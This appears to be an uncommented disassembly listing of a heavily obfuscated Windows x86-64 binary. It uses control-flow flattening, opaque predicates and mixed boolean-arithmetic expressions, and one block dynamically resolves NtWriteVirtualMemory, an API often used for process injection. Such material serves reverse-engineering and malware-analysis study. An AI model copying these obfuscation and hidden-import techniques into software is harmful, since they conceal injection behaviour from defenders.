and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xeeb9482c
and ecx, 0x1146b7d3
or ecx, edx
mov edx, ecx
xor edx, 0x1008024e
xor ecx, 0x63000400
and edx, 0x1c6d7bff
and ecx, 0xe3928400
or ecx, edx
xor ecx, 0xe3928400
sete r9b
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
mov ebx, eax
xor bl, 1
and al, bl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov ebx, eax
xor bl, 1
and bl, r8b
and al, r9b
or al, bl
and r9b, dl
and cl, r8b
or cl, r9b
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x9eaf235e
mov ebp, 0xc0db18cc
cmovne edx, ebp
test cl, 1
mov ecx, 0x9eaf235e
cmovne ecx, edx
jmp 0x1400cb860
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ecx
xor edx, 0xce92f28f
mov ebx, edx
and ebx, ecx
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xf6e4231b
and edx, 0x91bdce4
or edx, ebx
xor edx, 0x3876d195
and ebp, 0x2be81221
mov ebx, ecx
and ebx, 0xd417edde
or ebx, ebp
xor ebx, 0x2be81220
and ecx, 1
or ecx, ebx
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x1360d832
and ecx, 0xec9f27cd
or ecx, edx
mov ebx, ecx
xor ebx, 0x8040008
xor ecx, 0x2201800
or ebp, 0x4a753b0c
mov edx, ebp
not edx
or ecx, 0xb48a04d1
and ecx, 0xf6bb3fd5
and ebx, 0x8440008
or ebx, ecx
and ebp, 0xf6bb3fd5
and edx, 0x100c022
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x4f3c09dc
and edx, 0xb0c3f623
or edx, ecx
mov ecx, edx
xor ecx, 0x98928d03
xor edx, 0x54932d0
mov ebp, edx
and ebp, 0x662c503c
and ecx, 0x99d3afc3
or ecx, ebp
xor ecx, 0x662c503c
xor edx, ecx
test edx, ecx
setne cl
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
xor bl, al
and bl, al
or cl, r8b
xor cl, 1
xor dl, r8b
and dl, r8b
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor dl, bl
mov eax, edx
not al
and al, bl
mov ebx, edx
xor bl, al
test dl, dl
mov ecx, 0x939e9846
mov edx, 0x1eeef899
cmovne ecx, edx
test al, al
mov eax, 0x939e9846
cmove ecx, eax
test bl, 1
cmovne ecx, edx
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xf6c0ad70
and ecx, ebp
not ebp
and ebp, 0x17a6cebb
and edx, 0xe8593144
or edx, ebp
mov ebp, edx
xor ebp, 0x60000040
xor edx, 0x16808c30
or edx, 0x93f528f
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x8ce6a5bb
and ebp, 0x72000840
or ebp, edi
or edx, ebx
and ebx, 0x8ce6a5bb
and ecx, 0x73195a44
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd399ec0c
and edx, 0x2c6613f3
or edx, ecx
mov ecx, edx
xor ecx, 0xdaa6be83
mov ebp, edx
xor ebp, 0xdaa6be82
and ebp, ecx
xor edx, 0x541404c
and edx, 0xcdc7e0ce
and ecx, 0x32381f31
or ecx, edx
xor ecx, 0x32381f30
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc7de7ac6
and edx, ecx
and ecx, 0x38218539
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10210410
xor ecx, 0xc7de7ac6
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xad5ceb29
and ebp, 0x52a314d6
or ebp, edi
or ecx, ebx
and ebx, 0xad5ceb29
and edx, 0x52a314d6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x88567ea1
and ecx, 0x77a9815e
or ecx, ebp
xor ecx, 0x88567ea1
xor edx, ecx
test edx, ecx
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov ebx, ecx
or bl, al
xor cl, al
not cl
and cl, al
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xaebffe12
mov ebp, 0x3a5a2dd0
cmovne eax, ebp
test dl, 1
mov ecx, eax
cmovne ecx, ebp
jmp 0x1400cc8d1
mov ecx, 0xa55b1386
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0xd498e436
and ecx, ebx
or ebx, 0x2b671bc9
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0x35c72cc3
and edx, 0xc018c034
or edx, edi
or ebx, ebp
and ebp, 0x35c72cc3
and ecx, 0xca38d33c
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x2b671bc9
and ebx, 0xd498e436
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ebx
xor edx, 0x56c72420
mov ebp, edx
and ebp, ecx
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xa844c36f
and edx, 0x57bb3c90
or edx, ebp
xor edx, 0x17c18b1
and ebx, 0x195f5df9
mov ebp, ecx
and ebp, 0xe6a0a206
or ebp, ebx
xor ebp, 0x195f5df8
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x19ce4918
and edx, ecx
and ecx, 0xe631b6e7
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa200a681
xor ecx, 0x19ce4918
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5dff197e
and ebp, 0xa200e681
or ebp, edi
or ecx, ebx
and ebx, 0x5dff197e
and edx, 0xa200e681
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8980a9b1
and ecx, 0x767f564e
or ecx, edx
mov edx, ecx
xor edx, 0x40485204
xor ecx, 0x8180a831
and ecx, 0xb7b7ac7b
and edx, 0x48485384
or edx, ecx
mov ecx, edx
xor ecx, 0xb2078030
xor edx, 0x8004200
and edx, 0xdb06e4b
and ecx, 0xf24f91b4
or ecx, edx
xor ecx, 0xf24f91b4
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ecx, r10d
xor cl, al
mov edx, ecx
and dl, r10b
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
or al, r10b
and r10b, r9b
and dl, r8b
or dl, r10b
xor r9b, r8b
xor al, 1
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, cl
xor cl, 1
and al, cl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2930b632
mov ebp, 0x437434d6
cmovne edx, ebp
test cl, 1
mov ecx, 0x2930b632
jmp 0x1400cbe5f
mov rax, qword [rsp + 0x38]
mov qword [0x140265060], rax
mov ecx, 0x88392681
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x944958ee
and edx, 0x6bb6a711
or edx, ecx
mov ebx, edx
xor ebx, 0x108100
xor edx, 0x10000082
or ebp, 0x90b69397
mov ecx, ebp
not ecx
or edx, 0x2e086808
and edx, 0x3eae6a9b
and ebx, 0x80109104
or ebx, edx
and ebp, 0x3eae6a9b
and ecx, 0x41410460
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x9b3c6e60
and ecx, 0x64c3919f
or ecx, edx
mov edx, ecx
xor edx, 0xf4750208
mov ebp, ecx
xor ebp, 0x200d551
and ebp, 0xe225d551
xor ecx, 0x4aa9005d
and ecx, edx
mov esi, edx
and esi, 0x1dda2aae
or esi, ebp
mov edx, esi
xor edx, 0x1dda2aae
mov edi, esi
xor edi, 0x5cf9d704
and edi, edx
mov ebp, edi
and ebp, ecx
xor ecx, edi
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xf84fc1f5
and ecx, 0x7b03e0a
or ecx, ebp
mov ebx, ecx
xor ebx, 0x8641846
xor esi, 0x8205c501
and esi, 0x9707c523
mov ebp, edx
and ebp, 0x68f83adc
or ebp, esi
xor ebp, 0x9707c522
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x660ddf53
and edx, 0x99f220ac
or edx, ebp
mov ebp, edx
xor ebp, 0x87200a4
xor edx, 0x660ddf53
xor ecx, 0x4693c3a1
mov edi, ecx
and edi, 0xf3886418
and ebx, 0xc779be7
or ebx, edi
or ecx, edx
and edx, 0xf3886418
and ebp, 0xc779be7
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0x223aa38b
and edx, 0xddc55c74
or edx, ebp
xor edx, 0xddc55c74
or edx, ecx
cmp edx, 0xffffffff
sete r10b
setne r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
xor dl, bl
and dl, bl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
mov r8d, edx
xor r8b, al
or al, dl
xor al, 1
or al, r8b
xor al, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, r9b
and al, r10b
or al, cl
mov ecx, ebx
or cl, r10b
xor cl, 1
xor bl, r10b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov r10d, eax
and r10b, r9b
mov ebx, edx
and bl, r8b
mov ecx, r10d
xor cl, 1
xor r10b, al
or cl, r9b
xor cl, 1
or cl, r10b
mov r10d, ebx
and r10b, dl
xor bl, dl
or bl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, bl
xor bl, 1
and bl, cl
or bl, r10b
xor r9b, r8b
or dl, al
xor dl, 1
or dl, r9b
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xc7c072a7
mov ecx, 0xe2cc13a
cmovne eax, ecx
test dl, 1
mov ecx, 0xc7c072a7
jmp 0x1400cc8ce
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xcbfe8db2
and edx, ebp
not ebp
and ebp, 0xffd24d62
and ecx, 0x2db29d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x88000
xor ecx, 0xcbd20d22
or ecx, 0x3401724d
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe5a65afb
and ebp, 0xa588500
or ebp, edi
or ecx, ebx
and ebx, 0xe5a65afb
and edx, 0x1a59a504
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3401724d
and ecx, 0xcbfe8db2
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x90c60734
and ebx, 0x6f39f8ca
or ebx, edi
or edx, ebp
and ebp, 0x90c60734
and ecx, 0x6f39f8cb
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7d7c9d00
and edx, 0x828362ff
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa0088d8
and edx, 0xf5ff7727
or edx, ecx
mov ecx, edx
xor ecx, 0x804023
xor edx, 0x75600508
and ecx, 0x29c50f3
and edx, 0xfd63af0c
or edx, ecx
mov ecx, edx
xor ecx, 0x2184042
xor edx, 0xa1200704
and edx, 0xa1a417b5
and ecx, 0x5e5be84a
or ecx, edx
xor ecx, 0x5e5be84a
sete dl
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
xor dl, r9b
and dl, r9b
mov eax, r8d
xor al, dl
not al
and al, dl
or dl, r8b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, ebx
xor al, r9b
or bl, r9b
xor bl, 1
or bl, al
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r8d, edx
xor r8b, 1
mov r11d, r8d
and r11b, dl
mov ecx, ebx
xor r11b, 1
mov r9d, edx
xor r9b, r11b
or r11b, dl
mov r10d, ebx
mov edx, r8d
and dl, bl
xor r8b, bl
xor bl, 1
and cl, bl
xor r11b, 1
or r11b, r9b
xor r10b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r10b
mov eax, r11d
xor al, 1
and al, cl
xor cl, 1
and cl, r11b
or cl, al
or r8b, dl
mov eax, r8d
xor al, cl
test r8b, 1
mov edx, 0x28637271
mov ebp, 0x1d51cc91
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0x28637271
jmp 0x1400cc3ac
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x8c66933d
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x66e9ab5
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov eax, dword [0x140265728]
lea ebp, [rax - 1]
imul ebp, eax
mov edx, ebp
not edx
mov eax, ebp
or eax, 0x574c1af0
mov ebx, ebp
and ebx, 0x574c1af0
mov ecx, edx
and ecx, 0xa8b3e50e
or ecx, ebx
and eax, 0x574c1af1
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0x25400703
and eax, 0xdabff8fc
or eax, ecx
mov ecx, eax
xor ecx, 0x20670dc
xor eax, 0x25400703
mov ebx, eax
and ebx, 0xd8f98e20
and ecx, 0x270671df
or ecx, ebx
or eax, ebp
and ebp, 0xd8f98e20
and edx, 0x270671df
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x41763c72
and eax, 0xbe89c38d
or eax, ecx
xor eax, 0xbe89c38d
sete al
setne dl
cmp dword [0x140265724], 9
setg bl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor dl, 1
xor al, bl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
mov ebp, 0x7d7cc109
mov ecx, 0x1b5ea608
cmovne ebp, ecx
test al, al
mov ecx, 0x7d7cc109
cmovne ecx, ebp
test dl, dl
jmp 0x1400ca5cc
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
and edx, 0xb9c96abc
and ebx, 0x46369543
or ebx, edx
mov edi, ebx
xor edi, 0xb9c96abc
mov ecx, ebx
xor ecx, 0x4049003
and ecx, 0x3d05b233
xor ebx, 0xb873c7a0
and ebx, edi
and edi, 0xc2fa4dcc
or edi, ecx
mov edx, edi
xor edx, 0xc2fa4dcc
xor edi, 0x3d05b233
mov ecx, edi
or ecx, 0xfe4552e3
mov ebp, ecx
not ebp
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x2941f91c
and ebp, 0xba0400
or ebp, eax
or ecx, esi
and esi, 0x2941f91c
and ebx, 0xd6be06e3
or ebx, esi
xor ebx, ebp
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xb454811
and ecx, 0xf4bab7ee
or ecx, eax
mov ebx, ecx
xor ebx, 0xc4001291
and edi, 0xc628e3a8
mov eax, edx
and eax, 0x39d71c57
or eax, edi
xor eax, 0xc628e3a9
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xba79c565
and edx, 0x45863a9a
or edx, eax
mov eax, edx
xor eax, 0x44021290
xor ecx, 0xaffe50c
xor edx, 0xba79c565
mov ebp, ecx
and ebp, 0x33856d6a
and ebx, 0xcc7a9295
or ebx, ebp
or ecx, edx
and edx, 0x33856d6a
and eax, 0xcc7a9295
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x69bdcd40
and eax, ecx
not ecx
and ecx, 0x403d8800
and edx, 0x29804540
or edx, ecx
mov ecx, edx
xor ecx, 0x29000440
xor edx, 0xd67fbabf
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0x4e75b36
and ecx, 0x69188440
or ecx, ebx
or edx, ebp
and ebp, 0x4e75b36
and eax, 0xfb18a4c9
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x1a86a0dd
and edx, 0xe5795f22
or edx, eax
xor edx, 0x8cc49262
sete al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
and dl, al
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xc0db18cc
mov ebp, 0xc4e7c122
cmovne ecx, ebp
test dl, dl
mov eax, 0xc0db18cc
cmove ecx, eax
test bl, 1
jmp 0x1400cbfca
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, ebx
or edx, 0x828bdc33
mov ebp, edx
not ebp
mov eax, ebx
xor eax, 0x7d7423cc
and eax, ebx
mov esi, eax
not esi
mov ecx, edx
and ecx, 0xce42d5ee
and ebp, 0x31342200
or ebp, ecx
or edx, esi
and esi, 0xce42d5ee
and eax, 0x31bd2a11
or eax, esi
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x828bdc32
and edx, 0x7d7423cd
or edx, eax
and edi, 0x6744e6de
and ebx, 0x98bb1921
or ebx, edi
mov eax, ebx
xor eax, 0x98bb1921
xor ebx, 0x6744e6de
and ebx, edx
not edx
and eax, edx
or ebx, eax
xor edx, ebx
test edx, ebx
setne r9b
sete r10b
cmp r8d, 9
setg sil
cmp r8d, 0xa
setl r8b
mov edx, r8d
xor dl, sil
and dl, r8b
mov eax, r10d
xor al, r9b
and al, r10b
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r11d, ebx
xor r11b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r11b
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, esi
xor al, r10b
and al, sil
and r9b, r8b
and sil, r10b
or sil, r9b
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
xor cl, 1
mov eax, ecx
or al, sil
xor cl, sil
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x869c9e00
mov ebp, 0x737de5c6
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0x869c9e00
cmovne ecx, ebp
jmp 0x1400caa03
mov ecx, 0xe3647973
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov edx, ebp
and edx, 0x4c031230
mov ecx, edi
and ecx, 0x11640008
or ecx, edx
mov edx, ecx
xor edx, 0x11000008
xor ecx, 0xee9bfff7
mov ebx, edi
xor ebx, 0x5d671238
and ebx, edi
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x2e6e50a4
and edx, 0x51010218
or edx, eax
or ecx, esi
and esi, 0x2e6e50a4
and ebx, 0xd191af5b
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x68cf4cad
and ecx, 0x9730b352
or ecx, eax
mov edx, ecx
xor edx, 0xa052061
xor ecx, 0x31201010
and ecx, 0xf172911a
and edx, 0xe8d6ee5
or edx, ecx
mov eax, edx
xor eax, 0xc64a5
xor edx, 0xf172911a
mov ecx, edx
and ecx, 0x5fa10b5a
and eax, 0xa05ef4a5
or eax, ecx
or edx, edi
and edi, 0x5fa10b5a
and ebp, 0xa05ef4a5
or ebp, edi
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x92cff1b4
and edx, 0x6d300e4b
or edx, eax
xor edx, 0x6d300e4b
sete dl
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, eax
and bl, r8b
xor r8b, al
and dl, cl
or dl, bl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, ebx
xor dl, 1
xor bl, al
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
and bl, r8b
xor cl, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, bl
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x2179c314
mov eax, 0xd989ed1
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0x2179c314
jmp 0x1400cc8d4
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ecx, ebx
or ecx, 0x3982ef9e
mov ebp, edi
or ebp, 1
and ebp, 0x3982ef9f
mov edx, ebx
and edx, 0xc67d1060
or edx, ebp
and ecx, 0x3982ef9f
xor ecx, edx
mov edx, ecx
not edx
and ebx, edx
and ecx, edi
or ecx, ebx
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
and dl, al
mov ecx, edx
xor cl, 1
and cl, r9b
and dl, r8b
or dl, cl
xor bl, r9b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x55faf1d0
mov ecx, 0x6c7b4fce
cmovne ebp, ecx
test al, 1
mov ecx, 0x55faf1d0
cmovne ecx, ebp
test dl, dl
jmp 0x1400ca5cc
mov ecx, 0x24ade8b6
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov rax, qword [rsp + 0x38]
mov qword [0x140265060], rax
mov ecx, 0x6e75f048
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4996e6d0
and edx, 0xb669192f
or edx, ecx
mov ebx, edx
xor ebx, 0x34401800
xor edx, 0x41922050
and edx, 0xc3bb217f
and ebx, 0x3c44de80
or ebx, edx
mov edi, ebx
xor edi, 0xc3bb217f
mov ecx, ebx
xor ecx, 0x3c44de80
mov edx, edi
or edx, 0xaf9f04fc
mov ebp, edx
not ebp
xor ebx, 0x93dbda7c
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x71ec4952
and ebp, 0xb201
or ebp, eax
or edx, esi
and esi, 0x71ec4952
and ebx, 0x8e13b6ad
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xd63f669c
and edx, 0x29c09963
or edx, eax
xor edx, 0x79a06261
and edi, 0x3adb8ca2
mov eax, ecx
and eax, 0xc524735d
or eax, edi
xor eax, 0x3adb8ca3
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xef550513
and ecx, 0x10aafaec
or ecx, eax
xor ecx, 0x10aafaec
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xee4f0a66
and ecx, 0x11b0f599
or ecx, eax
mov eax, ecx
xor eax, 0x1010f181
xor ecx, 0xee4f0a66
mov edx, ecx
and edx, 0xa7a90e38
and eax, 0x5856f1c7
or eax, edx
xor eax, 0xa7a90e38
xor ecx, eax
test ecx, eax
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov eax, r10d
xor al, r9b
and al, r10b
mov edx, eax
xor dl, 1
mov ebx, edx
or bl, al
xor al, bl
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
and dl, r8b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
xor dl, r9b
and dl, cl
and r10b, r8b
and cl, r9b
or cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x4ae4ee26
mov ecx, 0xff50144e
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0x4ae4ee26
cmovne ecx, edx
jmp 0x1400cbfc8
mov ecx, 0x3ad94a06
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x1120f969
and edx, ebp
not ebp
and ebp, 0x62bc5e8f
and ecx, 0x9d43a170
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1100a100
xor ecx, 0x205809
or ecx, 0xeedf0696
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x221d4a7b
and ebp, 0x1120b100
or ebp, edi
or ecx, ebx
and ebx, 0x221d4a7b
and edx, 0xdde2b584
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xeedf0696
and ecx, 0x1120f969
or ecx, edx
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0xe1834a64
and ebx, 0x1e7cb59b
or ebx, edi
or edx, ebp
and ebp, 0xe1834a64
and ecx, 0x1e7cb59b
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xc80f4b8f
and ecx, 0x37f0b470
or ecx, edx
mov edx, ecx
xor edx, 0x8060b05
xor ecx, 0x26e09440
and ecx, 0xe6e9d4ca
and edx, 0x19162b35
or edx, ecx
xor edx, 0x19162b35
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov edx, ecx
xor dl, r8b
and dl, cl
xor dl, al
mov ebx, r9d
xor r9b, r8b
and r8b, al
and bl, cl
or bl, r8b
or al, cl
xor al, 1
or al, r9b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
and dl, al
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x4e6afce5
mov eax, 0x9c8f82d7
cmovne ecx, eax
test dl, dl
cmove ecx, eax
not bl
test bl, 1
mov eax, 0x4e6afce5
jmp 0x1400cc4e4
mov ecx, 0x47160283
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
